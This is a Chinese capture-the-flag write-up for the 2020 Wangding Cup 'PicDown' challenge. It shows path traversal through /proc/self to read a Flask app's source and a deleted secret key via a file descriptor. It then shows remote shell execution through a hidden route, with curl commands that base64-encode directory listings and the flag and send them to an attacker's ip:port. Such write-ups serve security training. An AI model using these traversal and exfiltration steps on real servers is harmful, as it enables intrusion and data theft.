[网鼎杯 2020 白虎组]PicDown curl&/proc

主页有个get型的url传参，?url=../../../../../proc/self/cmdline

回显是python3 app.py

然后通过?url=../../../../../proc/self/cwd/app.py看当前的app.py的源码

审计源码：

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

可以看到文件开头的这两行：

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)

通过open()函数打开了一个文件，这样的话我们就可以在/proc/self/fd里面读取(fd里每一个数字对应着一个本进程打开的文件)

可以暴力破解最后一个数字，这道题是3，?url=../../../../proc/self/fd/3

得到serect.txt的源码，即serectkey

 

/no_one_know_the_manager

路由下，接收key和shell的传参，shell就写curl ip:port/`ls /|base64`

发现当前目录下有个flag文件，然后传参?shell=curl ip:port/`cat /flag|base64`